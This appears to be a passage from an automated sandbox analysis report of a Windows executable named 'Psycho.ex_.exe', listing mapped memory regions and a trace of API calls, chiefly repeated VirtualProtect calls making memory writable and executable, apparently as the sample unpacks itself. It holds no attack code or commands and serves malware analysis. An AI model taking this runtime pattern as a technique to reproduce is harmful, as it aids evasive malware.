0xfd0000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 525 start_va = 0x1c750000 end_va = 0x1dbf8fff entry_point = 0x1c750000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 526 start_va = 0x1c750000 end_va = 0x1dbf8fff entry_point = 0x1c750000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 527 start_va = 0x1c750000 end_va = 0x1dc12fff entry_point = 0x1c750000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 528 start_va = 0x1c750000 end_va = 0x1dc12fff entry_point = 0x1c750000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 529 start_va = 0x1c750000 end_va = 0x1cb72fff entry_point = 0x1c750000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 530 start_va = 0x1c750000 end_va = 0x1cb72fff entry_point = 0x1c750000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 531 start_va = 0x1cb80000 end_va = 0x1cd7ffff entry_point = 0x0 region_type = private name = "private_0x000000001cb80000" filename = "" Region: id = 532 start_va = 0x500000 end_va = 0x59ffff entry_point = 0x500000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 533 start_va = 0x500000 end_va = 0x59ffff entry_point = 0x500000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 534 start_va = 0x500000 end_va = 0x57efff entry_point = 0x500000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 535 start_va = 0x500000 end_va = 0x57efff entry_point = 0x500000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 536 start_va = 0x7fe94470000 end_va = 0x7fe9447ffff entry_point = 0x0 region_type = private name = "private_0x000007fe94470000" filename = "" Region: id = 537 start_va = 0x500000 end_va = 0x557fff entry_point = 0x500000 region_type = mapped_file name = "consola.ttf" filename = "\\Windows\\Fonts\\consola.ttf" (normalized: "c:\\windows\\fonts\\consola.ttf") Region: id = 538 start_va = 0x500000 end_va = 0x557fff entry_point = 0x500000 region_type = mapped_file name = "consola.ttf" filename = "\\Windows\\Fonts\\consola.ttf" (normalized: "c:\\windows\\fonts\\consola.ttf") Region: id = 539 start_va = 0x500000 end_va = 0x559fff entry_point = 0x500000 region_type = mapped_file name = "consolab.ttf" filename = "\\Windows\\Fonts\\consolab.ttf" (normalized: "c:\\windows\\fonts\\consolab.ttf") Region: id = 540 start_va = 0x500000 end_va = 0x559fff entry_point = 0x500000 region_type = mapped_file name = "consolab.ttf" filename = "\\Windows\\Fonts\\consolab.ttf" (normalized: "c:\\windows\\fonts\\consolab.ttf") Region: id = 541 start_va = 0x500000 end_va = 0x559fff entry_point = 0x500000 region_type = mapped_file name = "consolai.ttf" filename = "\\Windows\\Fonts\\consolai.ttf" (normalized: "c:\\windows\\fonts\\consolai.ttf") Region: id = 542 start_va = 0x500000 end_va = 0x559fff entry_point = 0x500000 region_type = mapped_file name = "consolai.ttf" filename = "\\Windows\\Fonts\\consolai.ttf" (normalized: "c:\\windows\\fonts\\consolai.ttf") Region: id = 543 start_va = 0x500000 end_va = 0x55bfff entry_point = 0x500000 region_type = mapped_file name = "consolaz.ttf" filename = "\\Windows\\Fonts\\consolaz.ttf" (normalized: "c:\\windows\\fonts\\consolaz.ttf") Region: id = 544 start_va = 0x500000 end_va = 0x55bfff entry_point = 0x500000 region_type = mapped_file name = "consolaz.ttf" filename = "\\Windows\\Fonts\\consolaz.ttf" (normalized: "c:\\windows\\fonts\\consolaz.ttf") Region: id = 545 start_va = 0x1b2a0000 end_va = 0x1b36bfff entry_point = 0x1b2a0000 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 546 start_va = 0x1b370000 end_va = 0x1b37ffff entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 547 start_va = 0x1b2a0000 end_va = 0x1b36bfff entry_point = 0x1b2a0000 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 548 start_va = 0x1b2a0000 end_va = 0x1b36dfff entry_point = 0x1b2a0000 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 549 start_va = 0x1b2a0000 end_va = 0x1b36dfff entry_point = 0x1b2a0000 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 550 start_va = 0xfd0000 end_va = 0x1071fff entry_point = 0xfd0000 region_type = mapped_file name = "timesi.ttf" filename = "\\Windows\\Fonts\\timesi.ttf" (normalized: "c:\\windows\\fonts\\timesi.ttf") Region: id = 551 start_va = 0xfd0000 end_va = 0x1071fff entry_point = 0xfd0000 region_type = mapped_file name = "timesi.ttf" filename = "\\Windows\\Fonts\\timesi.ttf" (normalized: "c:\\windows\\fonts\\timesi.ttf") Region: id = 552 start_va = 0x500000 end_va = 0x597fff entry_point = 0x500000 region_type = mapped_file name = "timesbi.ttf" filename = "\\Windows\\Fonts\\timesbi.ttf" (normalized: "c:\\windows\\fonts\\timesbi.ttf") Region: id = 553 start_va = 0x500000 end_va = 0x597fff entry_point = 0x500000 region_type = mapped_file name = "timesbi.ttf" filename = "\\Windows\\Fonts\\timesbi.ttf" (normalized: "c:\\windows\\fonts\\timesbi.ttf") Region: id = 554 start_va = 0x1c120000 end_va = 0x1c21ffff entry_point = 0x0 region_type = private name = "private_0x000000001c120000" filename = "" Region: id = 555 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 556 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 557 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 558 start_va = 0x1c770000 end_va = 0x1c86ffff entry_point = 0x0 region_type = private name = "private_0x000000001c770000" filename = "" Region: id = 559 start_va = 0x1c8b0000 end_va = 0x1c9affff entry_point = 0x0 region_type = private name = "private_0x000000001c8b0000" filename = "" Region: id = 560 start_va = 0x1c9b0000 end_va = 0x1caaffff entry_point = 0x0 region_type = private name = "private_0x000000001c9b0000" filename = "" Region: id = 561 start_va = 0x7fef4c10000 end_va = 0x7fef4d2ffff entry_point = 0x7fef4c10000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\a9307524c4566f8b1e2df7834b33de98\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\a9307524c4566f8b1e2df7834b33de98\\system.configuration.ni.dll") Region: id = 562 start_va = 0x7ffffef2000 end_va = 0x7ffffef3fff entry_point = 0x0 region_type = private name = "private_0x000007ffffef2000" filename = "" Region: id = 563 start_va = 0x7ffffef4000 end_va = 0x7ffffef5fff entry_point = 0x0 region_type = private name = "private_0x000007ffffef4000" filename = "" Region: id = 564 start_va = 0x7feee8a0000 end_va = 0x7feef13afff entry_point = 0x7feee8a0000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\6a565e7029d22fb974423ade195c819f\\system.xml.ni.dll") Region: id = 565 start_va = 0x1cd80000 end_va = 0x1cf3ffff entry_point = 0x0 region_type = private name = "private_0x000000001cd80000" filename = "" Region: id = 566 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 567 start_va = 0x1cf40000 end_va = 0x1d86ffff entry_point = 0x1cf40000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 568 start_va = 0x500000 end_va = 0x561fff entry_point = 0x500000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 569 start_va = 0x7fefb970000 end_va = 0x7fefba99fff entry_point = 0x7fefb970000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 570 start_va = 0x1d870000 end_va = 0x1da00fff entry_point = 0x0 region_type = private name = "private_0x000000001d870000" filename = "" Region: id = 571 start_va = 0x1da10000 end_va = 0x1dc0ffff entry_point = 0x0 region_type = private name = "private_0x000000001da10000" filename = "" Region: id = 572 start_va = 0x1dc10000 end_va = 0x1dd9ffff entry_point = 0x0 region_type = private name = "private_0x000000001dc10000" filename = "" Region: id = 573 start_va = 0x340000 end_va = 0x37afff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 574 start_va = 0x7fefbae0000 end_va = 0x7fefbaf7fff entry_point = 0x7fefbae0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 575 start_va = 0x380000 end_va = 0x381fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 576 start_va = 0x380000 end_va = 0x380fff entry_point = 0x380000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\System32\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msctf.dll.mui") Region: id = 577 start_va = 0x3a0000 end_va = 0x3a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 578 start_va = 0x3a0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 579 start_va = 0x3b0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 580 start_va = 0x3c0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 581 start_va = 0x3d0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 582 start_va = 0x3a0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 583 start_va = 0xfd0000 end_va = 0x108ffff entry_point = 0xfd0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 584 start_va = 0x7fef4a70000 end_va = 0x7fef4bcefff entry_point = 0x7fef4a70000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\78d29852ca34a455383a06b03458dfa5\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\78d29852ca34a455383a06b03458dfa5\\system.management.ni.dll") Region: id = 585 start_va = 0x3a0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 586 start_va = 0x3b0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 587 start_va = 0x3c0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 588 start_va = 0x3d0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 589 start_va = 0x3e0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 590 start_va = 0x570000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 591 start_va = 0x580000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 592 start_va = 0x590000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 593 start_va = 0x720000 end_va = 0x72ffff entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 594 start_va = 0x1de10000 end_va = 0x1df0ffff entry_point = 0x0 region_type = private name = "private_0x000000001de10000" filename = "" Region: id = 595 start_va = 0x7fe94480000 end_va = 0x7fe9448ffff entry_point = 0x0 region_type = private name = "private_0x000007fe94480000" filename = "" Region: id = 596 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 597 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 598 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 599 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 600 start_va = 0x7fef6ff0000 end_va = 0x7fef7015fff entry_point = 0x7fef6ff0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 601 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 602 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 603 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 604 start_va = 0x1df10000 end_va = 0x1e11ffff entry_point = 0x0 region_type = private name = "private_0x000000001df10000" filename = "" Region: id = 605 start_va = 0x1c220000 end_va = 0x1c33ffff entry_point = 0x0 region_type = private name = "private_0x000000001c220000" filename = "" Region: id = 606 start_va = 0x1df40000 end_va = 0x1e03ffff entry_point = 0x0 region_type = private name = "private_0x000000001df40000" filename = "" Region: id = 607 start_va = 0x1e0a0000 end_va = 0x1e11ffff entry_point = 0x0 region_type = private name = "private_0x000000001e0a0000" filename = "" Region: id = 608 start_va = 0x7ffffef0000 end_va = 0x7ffffef1fff entry_point = 0x0 region_type = private name = "private_0x000007ffffef0000" filename = "" Region: id = 609 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 610 start_va = 0x7fef8270000 end_va = 0x7fef827bfff entry_point = 0x7fef8270000 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wminet_utils.dll") Region: id = 611 start_va = 0x7fe94490000 end_va = 0x7fe9449ffff entry_point = 0x0 region_type = private name = "private_0x000007fe94490000" filename = "" Region: id = 612 start_va = 0x1e170000 end_va = 0x1e26ffff entry_point = 0x0 region_type = private name = "private_0x000000001e170000" filename = "" Region: id = 613 start_va = 0x7ffffeee000 end_va = 0x7ffffeeffff entry_point = 0x0 region_type = private name = "private_0x000007ffffeee000" filename = "" Region: id = 614 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 877 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 878 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 879 start_va = 0x1dfa0000 end_va = 0x1e09ffff entry_point = 0x0 region_type = private name = "private_0x000000001dfa0000" filename = "" Region: id = 880 start_va = 0x7ffffef0000 end_va = 0x7ffffef1fff entry_point = 0x0 region_type = private name = "private_0x000007ffffef0000" filename = "" Region: id = 881 start_va = 0x3c0000 end_va = 0x3c4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1267 start_va = 0x3c0000 end_va = 0x3c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1271 start_va = 0x7fef60c0000 end_va = 0x7fef6121fff entry_point = 0x7fef60c0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1272 start_va = 0x7fef60a0000 end_va = 0x7fef60bbfff entry_point = 0x7fef60a0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1273 start_va = 0x7fefb670000 end_va = 0x7fefb680fff entry_point = 0x7fefb670000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1274 start_va = 0x7fefce50000 end_va = 0x7fefcea4fff entry_point = 0x7fefce50000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1275 start_va = 0x1e120000 end_va = 0x1e32ffff entry_point = 0x0 region_type = private name = "private_0x000000001e120000" filename = "" Region: id = 1276 start_va = 0x7fefc850000 end_va = 0x7fefc856fff entry_point = 0x7fefc850000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1277 start_va = 0x7fefce40000 end_va = 0x7fefce46fff entry_point = 0x7fefce40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1278 start_va = 0x1cda0000 end_va = 0x1ce9ffff entry_point = 0x0 region_type = private name = "private_0x000000001cda0000" filename = "" Region: id = 1279 start_va = 0x1cec0000 end_va = 0x1cf3ffff entry_point = 0x0 region_type = private name = "private_0x000000001cec0000" filename = "" Region: id = 1280 start_va = 0x7ffffeee000 end_va = 0x7ffffeeffff entry_point = 0x0 region_type = private name = "private_0x000007ffffeee000" filename = "" Region: id = 1281 start_va = 0x7fef7870000 end_va = 0x7fef78e0fff entry_point = 0x7fef7870000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1282 start_va = 0x7fef7800000 end_va = 0x7fef7863fff entry_point = 0x7fef7800000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1283 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1284 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1285 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1286 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1287 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1288 start_va = 0x7fefadc0000 end_va = 0x7fefadd0fff entry_point = 0x7fefadc0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1289 start_va = 0x7fefada0000 end_va = 0x7fefadb7fff entry_point = 0x7fefada0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1290 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1291 start_va = 0x1e470000 end_va = 0x1e56ffff entry_point = 0x0 region_type = private name = "private_0x000000001e470000" filename = "" Region: id = 1292 start_va = 0x7ffffeec000 end_va = 0x7ffffeedfff entry_point = 0x0 region_type = private name = "private_0x000007ffffeec000" filename = "" Thread: id = 1 os_tid = 0x950 [0029.952] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0031.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", nBufferLength=0x105, lpBuffer=0x1ad240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", lpFilePart=0x0) returned 0x34 [0031.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", nBufferLength=0x105, lpBuffer=0x1ad0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", lpFilePart=0x0) returned 0x34 [0031.330] VirtualProtect (in: lpAddress=0x11d2000, dwSize=0x2ad580, flNewProtect=0x40, lpflOldProtect=0x1ad9e0 | out: lpflOldProtect=0x1ad9e0*=0x80) returned 1 [0035.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", nBufferLength=0x105, lpBuffer=0x1ad0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", lpFilePart=0x0) returned 0x34 [0035.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", nBufferLength=0x105, lpBuffer=0x1acf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", lpFilePart=0x0) returned 0x34 [0035.442] VirtualProtect (in: lpAddress=0x11d0188, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x2) returned 1 [0035.460] VirtualProtect (in: lpAddress=0x11d01b0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.460] VirtualProtect (in: lpAddress=0x11d01d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.460] VirtualProtect (in: lpAddress=0x11d0200, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.460] VirtualProtect (in: lpAddress=0x11d0228, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.460] VirtualProtect (in: lpAddress=0x1480000, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x20) returned 1 [0035.460] VirtualProtect (in: lpAddress=0x14807bc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.460] VirtualProtect (in: lpAddress=0x14807e0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.460] VirtualProtect (in: lpAddress=0x14807e8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.460] VirtualProtect (in: lpAddress=0x14807ec, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x14807f4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x14807f8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x14807fc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x1480800, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x1480808, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x148080c, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x1480814, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x1480818, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x148081c, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x1480824, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x1480828, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x148082c, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x1480834, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x1480838, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x1ada18 | out: lpflOldProtect=0x1ada18*=0x40) returned 1 [0035.461] VirtualProtect (in: lpAddress=0x148083c, dwSize=0x8, flNewProtect=0x40, 